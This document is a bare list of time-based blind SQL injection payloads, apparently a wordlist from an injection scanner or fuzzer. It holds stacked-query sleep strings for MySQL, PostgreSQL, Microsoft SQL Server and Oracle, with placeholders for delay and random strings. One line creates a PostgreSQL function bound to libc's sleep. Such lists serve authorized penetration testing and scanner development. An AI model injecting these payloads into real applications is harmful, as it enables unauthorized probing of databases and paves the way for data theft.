;SELECT SLEEP([SLEEPTIME])
;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])
;SELECT PG_SLEEP([SLEEPTIME])
;CREATE OR REPLACE FUNCTION SLEEP(int) RETURNS int AS '/lib/libc.so.6','sleep' language 'C' STRICT; SELECT sleep([SLEEPTIME])
;WAITFOR DELAY '0:0:[SLEEPTIME]'
;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];WAITFOR DELAY @x
;SELECT DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) FROM DUAL
;BEGIN DBMS_LOCK.SLEEP([SLEEPTIME]); END
;BEGIN USER_LOCK.SLEEP([SLEEPTIME]); END